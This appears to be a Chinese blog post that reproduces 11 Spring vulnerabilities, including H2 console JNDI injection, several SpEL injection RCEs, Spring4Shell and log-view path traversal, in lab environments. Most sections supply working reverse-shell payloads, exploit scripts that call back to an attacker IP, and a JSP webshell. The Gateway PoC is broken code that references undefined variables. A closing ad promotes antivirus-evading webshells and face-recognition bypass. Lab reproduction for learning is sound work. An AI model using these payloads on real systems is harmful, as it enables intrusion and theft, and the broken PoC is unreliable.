爆肝!!包含复现流程、部分exp、poc和编码小脚本的11个Spring漏洞复现合集

这篇包含复现流程、部分exp、poc、加工小脚本和小心得的11个Spring漏洞复现合集是我与shmily师傅利用hvv前的空余时间复现、编写出来的。希望能简化大家开始着手系统性学习Spring框架的繁琐流程,提升学习效率。文章内容如有不妥和错误,请大佬们斧正。

(一)Spring H2 Database Console 未授权&RCE

1.1 漏洞描述

H2 database是一款Java内存数据库,多用于单元测试。H2 database自带一个Web管理页面,在Spirng开发中,如果我们设置如下选项,即可允许外部用户访问Web管理页面,且没有鉴权:

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令

1.2 影响范围

Spring Boot + H2

spring.h2.console.enabled=true

JDK < 6u201、7u191、8u182、11.0.1(LDAP)

1.3 环境搭建

https://vulhub.org/#/environments/h2database/h2-console-unacc/

1.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问以下链接,即可查看H2 database的管理页面

http://your-ip:8080/h2-console/

图片

3)在攻击机上下载exp jar包,保存到 /usr/Spring-exp/ 路径

wget -P /usr/Spring-exp/ https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

可能速度会很慢,所以我科学上网把jar包下载到本机,然后通过SSH连接工具将jar包拖到攻击机上。

4)生成jar包参数

一是执行命令,二是攻击机IP

https://forum.ywhack.com/shell.php

可以在该网站上一键生成反弹shell命令,推荐使用base64编码后的命令,IP填攻击机IP,端口自定义

图片

5)参数配好后运行jar包(推荐单引号包裹)

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}’ -A 攻击机IP

图片

6)开启nc端口监听

图片

7)选择JNDI Links

JDBC URL处填写jar包生成的JNDI Links

图片

这个vulhub环境的JNDI Links用第一个rmi链接就可以了

8)返回H2 Console页面

Driver Class处固定填写

javax.naming.InitialContext

JDBC URL处填写第一个rmi链接,然后点击Connect即可

图片

9)shell反弹成功

图片

ifconfig等命令使用不了是因为靶机为docker环境,大概率没有安装这些多余的命令

1.5 修复建议

spring.h2.console.enabled=false
spring.h2.console.settings.web-allow-others=false

1.6 小tips

在实战中反弹回了主机权限,如何判断环境是真实主机还是docker环境?

执行以下命令

cat /proc/1/cgroup

如果返回以下内容,则大概率为真实主机

图片

如果返回以下内容且明显带有docker目录,则为docker环境

图片

拿到的是docker环境权限就无法做更进一步的内网渗透,不过可以尝试docker环境内简单的信息收集

如果目标docker环境安装了yum命令,那么可以执行以下命令为目标主机docker环境安装基础命令

yum install net-tools.x86_64

没有安装yum命令的话大概率只能使用以下命令

cd
ls -l
cat
pwd
chmod
ip address
ss -ntpl

(二)Spring Security OAuth2 远程命令执行(CVE-2016-4977)

2.1 漏洞描述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令

2.2 影响范围

Spring Security OAuth 2.3-2.3.2

Spring Security OAuth 2.2-2.2.1

Spring Security OAuth 2.1-2.1.1

Spring Security OAuth 2.0-2.0.14

2.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2016-4977/

2.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问以下链接,即可查看WEB页面

http://your-ip:8080/oauth/authorize?response_type=${12*12}&client_id=acme&scope=openid&redirect_uri=http://test

(默认8080,因端口占用所以我改成了8081)

图片URL中的SpEL表达式${12*12}已执行成功并返回结果,证明漏洞存在

3)构造payload

在攻击机上调用python运行vulhub提供的poc.py生成SpEL表达式payload

python3.8 poc.py
输入反弹shell命令
生成SpEL表达式

图片

4)开启nc端口监听

图片

5)将poc.py生成的SpEL表达式写入URL并访问

图片

6)shell反弹成功

图片

2.5 修复建议

使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。

使用2.0.x版本的用户升级到2.0.10以及更高的版本

(三)Spring WebFlow 远程命令执行(CVE-2017-4971)

3.1 漏洞描述

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行

3.2 影响范围

Spring WebFlow 2.4.0 - 2.4.4

3.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2017-4971/

3.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问以下链接,即可查看WEB页面

http://your-ip:8080/login

图片

3)用左边给出的任意一个账号登录

图片

登录成功后在Search String处随便填写一个数字提交后,接着View Hotel、Book Hotel

图片

4)填好信息后点击proceed

图片

5)点击Confirm时抓包

图片

6)开启nc端口监听

图片

7)将payload通过&连接在POST传参里,然后发包

_(new+java.lang.ProcessBuilder(“bash”,“-c”,“bash±i+>%26+/dev/tcp/your-ip/your-port+0>%261”)).start()=vulhub

图片

8)shell反弹成功

图片

3.5 修复建议

将WebFlow至少升级至2.4.5版本

(四)Spring Data Rest 远程命令执行(CVE-2017-8046)

4.1 漏洞描述

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现RFC6902),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞

4.2 影响范围

pivotal Spring Data REST < 2.5.12 2.6.7 3.0 RC3

pivotal Spring Boot < 2.0.0M4

pivotal Spring Data < Kay-RC3

4.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2017-8046/

4.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问以下目录

http://your-ip:8080/customers/1

3)如果返回以下JSON数据,则漏洞可能存在,尝试利用

图片

4)开启nc端口监听

图片

5)构造payload

将反弹shell语句转换成十进制

在百度逛了一圈string转ASCII码10进制的在线平台,要么没有,要么有很短的长度限制,所以自己写了一个转换脚本(已上传QQ群文件)

6)发送PATCH型数据包

图片

7)shell反弹成功

图片

4.5 修复建议

将Spring Data REST升级至最新

4.6 Exploit

import base64
import json
import requests

def bs64(ip, port):
shell_code = ‘bash -i >& /dev/tcp/’ + ip + ‘/’ + port + ’ 0>&1’
shell_code = base64.b64encode(bytes(shell_code, “utf-8”))
shell_code = str(shell_code, ‘utf-8’)
bs_shell_code = ‘bash -c {echo,’ + shell_code + ‘}|{base64,-d}|{bash,-i}’
return bs_shell_code

def str_decimal(bs_shell_code):
decimal = ‘’
for i in bs_shell_code:
decimal = decimal + str(ord(i)) + ‘,’
decimal = decimal.rstrip(‘,’)
return decimal

def create_payload(decimal):
final_decimal = “T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{” + decimal + “}))/lastname”
return final_decimal

if __name__ == ‘__main__’:
target_url = input(‘请输入目标url:’)
attack_ip = input(‘请输入攻击机IP:’)
attack_port = input(‘请输入攻击机端口:’)

bs_shell_code = bs64(attack_ip, attack_port)
decimal = str_decimal(bs_shell_code)
path_param = create_payload(decimal)
url = target_url + ‘/customers/1’
headers = {
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept’: ‘*/*’,
‘Accept-Language’: ‘en’,
‘User-Agent’: ‘Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)’,
‘Connection’: ‘close’,
‘Content-Type’: ‘application/json-patch+json’
}
data = [{
‘op’: ‘replace’,
‘path’: path_param,
‘value’: ‘vulhub’
}]
request = requests.patch(url=url, headers=headers, data=json.dumps(data), verify=False, timeout=3)

(五)Spring Messaging 远程命令执行(CVE-2018-1270)

5.1 漏洞描述

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS

在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞

5.2 影响范围

Spring Framework 5.0 to 5.0.4

Spring Framework 4.3 to 4.3.15

早期官方已不支持的版本

5.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2018-1270/

5.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问下方链接

http://your-ip:8080

图片

3)修改vulhub自带的exploit.py

图片

4)开启nc端口监听

图片

5)在攻击机上使用python3.6运行py文件

图片

6)shell反弹成功

图片

5.5 修复建议

在Spring 5.0.5版本中,消息支持模块spring-messaging的DefaultSubscriptionRegistry#findSubscriptionInternal()方法中,SpEL求值的上下文的位置处,使用权限更小的SimpleEvaluationContext来替换原来的StandardEvaluationContext

(六)Spring Data Commons 远程命令执行(CVE-2018-1273)

6.1 漏洞描述

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令

6.2 影响范围

Spring Data Commons 1.13 to 1.13.10 (Ingalls SR10)

Spring Data REST 2.6 to 2.6.10 (Ingalls SR10)

Spring Data Commons 2.0 to 2.0.5 (Kay SR5)

Spring Data REST 3.0 to 3.0.5 (Kay SR5)

6.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2018-1273/

6.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问下方链接

http://your-ip:8080/users

图片

3)开启nc端口监听

图片

4)运行自己写好的Exp

图片

5)shell反弹成功

图片

6.5 修复建议

Spring Data Commons
2.0.x的用户升级到2.0.6
1.13.x的用户升级到1.13.11

Spring Data REST
2.x用户升级到2.6.11
3.x用户升级到3.0.6

Spring Boot
1.5.x用户升级到1.5.11
2.x用户升级到2.0.1

6.6 Exploit

import base64
import requests

def payload_generate(attack_ip, attack_port):
shell_code = ‘bash -i >& /dev/tcp/’ + attack_ip + ‘/’ + attack_port + ’ 0>&1’
shell_code = base64.b64encode(bytes(shell_code, ‘utf-8’))
shell_code = str(shell_code, ‘utf-8’)
bs_shell_code = ‘bash -c {echo,’ + shell_code + ‘}|{base64,-d}|{bash,-i}’
return bs_shell_code

if __name__ == ‘__main__’:
target_url = input(‘请输入目标url:’)
attack_ip = input(‘请输入攻击机IP:’)
attack_port = input(‘请输入攻击机端口:’)

bounce_shell = payload_generate(attack_ip, attack_port)

url = target_url + ‘/users?page=&size=5’
header = {
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8’,
‘Accept-Language’: ‘zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2’,
‘Accept-Encoding’: ‘gzip, deflate’,
‘Content-Type’: ‘application/x-www-form-urlencoded’,
‘Connection’: ‘close’,
‘Upgrade-Insecure-Requests’: ‘1’

}
data = {
‘username’ + ‘[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec("’ + bounce_shell + ‘")]’: ‘’,
‘password’: ‘’,
‘repeatedPassword’: ‘’
}
request = requests.post(url=url, headers=header, data=data, verify=False, timeout=3)

(七)Spring Boot 目录遍历(CVE-2021-21234)

7.1 漏洞描述

spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)参数来防止目录遍历,但是没有检查文件夹(base)参数,造成了目录遍历

7.2 影响范围

在 0.2.13 版本之前的 spring-boot-actuator-logview 中存在目录遍历漏洞

7.3 环境搭建

这里很多小伙伴如果嫌麻烦的话可以去在线平台搭建,直接一键启动即可

https://vulfocus.cn/#/dashboard

图片

或者直接再用docker拉取也是可以的,执行一下两条命令即可

docker pull vulfocus/springboot-cve_2021_21234:latest
docker run -itd -p 8090:8080 vulfocus/springboot-cve_2021_21234:latest

也可以去github上面下载源码来进行分析,我们在这里就说一下如何发现和利用就好啦

7.4 漏洞复现

通过访问不存在的文件报错,可以定位到漏洞触发的点:

eu.hinsch.spring.boot.actuator.logview.LogViewEndpoint.view

payload:Windows:
- http:///manage/log/view?filename=/windows/win.ini&base=…/…/…/…/…/…/…/…/…/…/
- http:///log/view?filename=/windows/win.ini&base=…/…/…/…/…/…/…/…/…/…/
Linux:
- http:///manage/log/view?filename=/etc/passwd&base=…/…/…/…/…/…/…/…/…/…/
- http:///log/view?filename=/etc/passwd&base=…/…/…/…/…/…/…/…/…/…/

图片

7.5 修复建议

升级到0.2.13

(八)Spring Cloud Gateway Actuator API SpEL 表达式注入命令执行 (CVE-2022-22947)

8.1 漏洞描述

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令

8.2 影响范围

Spring Cloud Gateway 3.1.0

Spring Cloud Gateway 3.0.0至3.0.6

Spring Cloud Gateway 其他已不再更新的版本

8.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2022-22947/

8.4 漏洞复现

1)启动vulhub靶机环境

图片

2)访问下方链接

http://your-ip:port/actuator/gateway/routesfilters/

若访问成功说明存在actuator未授权,进一步尝试RCE

3)添加路由

图片

POST /actuator/gateway/routes/Lotus HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
“id”: “Lotus”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: “#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\“whoami\”}).getInputStream()))}”
}
}],
“uri”: “http://example.com”
}

4)刷新路由

图片

POST /actuator/gateway/refresh HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

5)请求路由

图片

GET /actuator/gateway/routes/Lotus HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

成功返回root

8.5 修复建议

3.1.x用户应升级到3.1.1+;

3.0.x用户应升级到3.0.7+;

如果不需要Actuator功能,可以通过management.endpoint.gateway.enable:false配置将其禁用

8.6 Poc

import base64
import json
import time
import re
import requests

def payload_generate(attack_ip, listening_port):
payload = ‘#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\“whoami\”}).getInputStream()))}’
return payload

def linkstart(bounce_shell, url_gateway):
url_operate_route = url_gateway + ‘routes/lotus’
url_refresh_route = url_gateway + ‘refresh’
header_add_route = {
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept’: ‘*/*’,
‘Accept-Language’: ‘en’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Connection’: ‘close’,
‘Content-Type’: ‘application/json’
}
header_refresh_route = {
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept’: ‘*/*’,
‘Accept-Language’: ‘en’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Connection’: ‘close’,
‘Content-Type’: ‘application/x-www-form-urlencoded’
}
header_request_route = header_refresh_route
header_delete_route = {
‘Accept-Encoding’: ‘gzip, deflate’,
‘Accept’: ‘*/*’,
‘Accept-Language’: ‘en’,
‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0’,
‘Connection’: ‘close’
}

data_add_route = {
“id”: “lotus”,
“filters”: [{
“name”: “AddResponseHeader”,
“args”: {
“name”: “Result”,
“value”: bounce_shell
}
}],
“uri”: “http://example.com”

}

proxy = {
‘http’: ‘http://127.0.0.1:8080’
}
requests.post(url=url_operate_route, headers=header_add_route, data=json.dumps(data_add_route), verify=False, timeout=5)
requests.post(url=url_refresh_route, headers=header_refresh_route, verify=False, timeout=5)
requests.get(url=url_operate_route, headers=header_request_route, verify=False, timeout=5)
re_result = re.findall(r’Result = [\‘"]?([^\’" )]+)', result)
if re_result is not None:
return True
else:
return False

if __name__ == ‘__main__’:
target_url = input(‘请输入目标actuator地址(如http://127.0.0.1:8080/actuator/):’)
attack_ip = input(‘请输入攻击机IP:’)
listening_port = input(‘请输入监听端口:’)
bounce_shell = payload_generate(attack_ip, listening_port)
url_gateway = target_url + ‘gateway/’

if linkstart(bounce_shell, url_gateway):
print(f’{target_url} is vulnerable’)
else:
print(f’{target} is safe’)

(九)Spring Cloud Function SpEL 表达式注入命令执行 (CVE-2022-22963)

9.1 漏洞描述

Spring Cloud Function 提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像 Amazon AWS Lambda 这样的 FaaS(函数即服务,function as a service)平台

9.2 影响范围

Spring Cloud Function 3.0.0 <= v3.2.2

9.3 环境搭建

https://vulhub.org/#/environments/spring/CVE-2022-22963/

9.4 漏洞复现

1)启动vulhub靶机环境

图片

2)服务启动后在靶机执行以下命令

curl http://your-ip:8080/uppercase -H “Content-Type: text/plain” --data-binary test

图片

3)开启nc端口监听

图片

5)POST数据包

POST /functionRouter HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(“xxxxxxx”)
Content-Type: text/plain
Content-Length: 4

test

4)BP发包

图片

5)shell反弹成功

图片

9.5 修复建议

目前官方已针对此漏洞发布安全补丁和新版本修复,请受影响的用户尽快更新进行防护,下载链接:https://github.com/spring-cloud/spring-cloud-function/tags

(十)Spring Framework RCE via Data Binding on JDK 9+ 远程命令执行(CVE-2022-22965)

10.1 漏洞描述

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

10.2 影响范围

Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK版本:JDK>=9
部署方式:war包部署在TOMCAT中
影响组件:org.springframework:spring-beans

10.3 环境搭建

这里很多小伙伴如果嫌麻烦的话可以去在线平台搭建,直接一键启动即可

https://vulfocus.cn/#/dashboard

或者直接再用docker拉取也是可以的,执行一下两条命令即可

docker pull vulfocus/spring-core-rce-2022-03-29:latest

docker run -itd -p 8090:8080 vulfocus/spring-core-rce-2022-03-29:latest

也可以去github上面下载源码来进行分析,我们在这里就说一下如何发现和利用就好啦

10.4 漏洞复现

1)启动环境后访问界面如下:

图片

2)发送以下请求以更改 Apache Tomcat 中的日志记录配置并将日志写入 JSP 文件

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 192.168.227.144:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 4

图片

%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
在这里我就来解释解释这个代码
大致的意思就是传入了两个参数(pwd,cmd)以request的方式,我们知道request方式不管get,post传输的都可以,代码中明显if(“j”.equals(request.getParameter(“pwd”)))
说了pwd=j 才能向下执行命令参数
exec(request.getParameter(“cmd”))
也就是cmd这个参数
所以才有了后面的payload
http://192.168.227.144:8090/tomcatwar.jsp?pwd=j&cmd=ls
当然以post传输肯定也是可以的

3)访问刚才的 JSP webshell,并执行任意命令:

http://192.168.227.144:8090/tomcatwar.jsp?pwd=j&cmd=ls

图片

10.5 修复建议

在WAF等网络防护设备上,根据实际部署业务的流量情况,实现对“class.”“Class.”“.class.”“.Class.”等字符串的规则过滤,并在部署过滤规则后,对业务运行情况进行测试,避免产生额外影响。

官方的修复:

当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://github.com/spring-projects/spring-framework/tags

注:Spring Framework 5.3.18和Spring Framework 5.2.20是 Spring 官方提供的两个安全版本(截止至3月31日)

(十一)Spring-boot远程代码执行系列(whitelabel error page SpEL RCE)

11.1 漏洞描述

spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞。

11.2 影响范围

•spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0。

•至少知道一个触发 springboot 默认错误页面的接口及参数名。

11.3 环境搭建

这里很多小伙伴如果嫌麻烦的话可以去在线平台搭建,直接一键启动即可

https://vulfocus.cn/#/dashboard

或者直接再用docker拉取也是可以的,执行一下两条命令即可

docker pull vulfocus/spring-boot_whitelabel_spel:latest

docker run -itd -p 8090:8080 vulfocus/spring-boot_whitelabel_spel:latest

也可以去github上面下载源码来进行分析,我们在这里就说一下如何发现和利用就好啦

11.4 漏洞复现

启动环境,访问界面如下

图片

首先寻找一个正常传参处,在本质中以article?id=xxx为列,实战的话可以通过fuzz爆破来猜测参数。若网站状态码返回500,则后缀测试可在此id参数进行。

图片

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞

图片

确定目标存在 SpEL 表达式注入漏洞
使用 payload 尝试反弹 shell

/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{}))}

则开始编辑脚本,将反弹shell的命令转换为java字节形式

bash -i >& /dev/tcp/192.168.227.144/9988 0>& 1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNy4xNDQvOTk4OCAwPiYgMQ==}|{base64,-d}|{bash,-i}

使用脚本生成java字节码

# coding: utf-8

result = “”
# target = ‘open -a Calculator’
target = ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNy4xNDQvOTk4OCAwPiYgMQ==}|{base64,-d}|{bash,-i}’
for x in target:
result += hex(ord(x)) + “,”
print(result.rstrip(‘,’))

运行上面py脚本得:
0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x49,0x79,0x4e,0x79,0x34,0x78,0x4e,0x44,0x51,0x76,0x4f,0x54,0x6b,0x34,0x4f,0x43,0x41,0x77,0x50,0x69,0x59,0x67,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d

直接访问即可

/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x49,0x79,0x4e,0x79,0x34,0x78,0x4e,0x44,0x51,0x76,0x4f,0x54,0x6b,0x34,0x4f,0x43,0x41,0x77,0x50,0x69,0x59,0x67,0x4d,0x51,0x3d,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

然后再服务器端监听,等待反弹shell即可

反弹成功,命令成功执行

图片

11.5 修复建议

升级版本为最新版

扫描二维码加入小K安全朋友圈,即可与群内大佬交流hvv日常和红队知识

前50位加入星球的师傅有优惠,具体可先进群咨询

星球包含hvv红队外网资产收集、蓝队应急响应资料、免杀webshell、基于socket协议的远控从0到1、CNVD、edu实战getshell文章、一键绕360杀软、破解及逆向app、活体bypass人脸识别模块等原创、二创和宝藏资料分享~

图片

图片

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值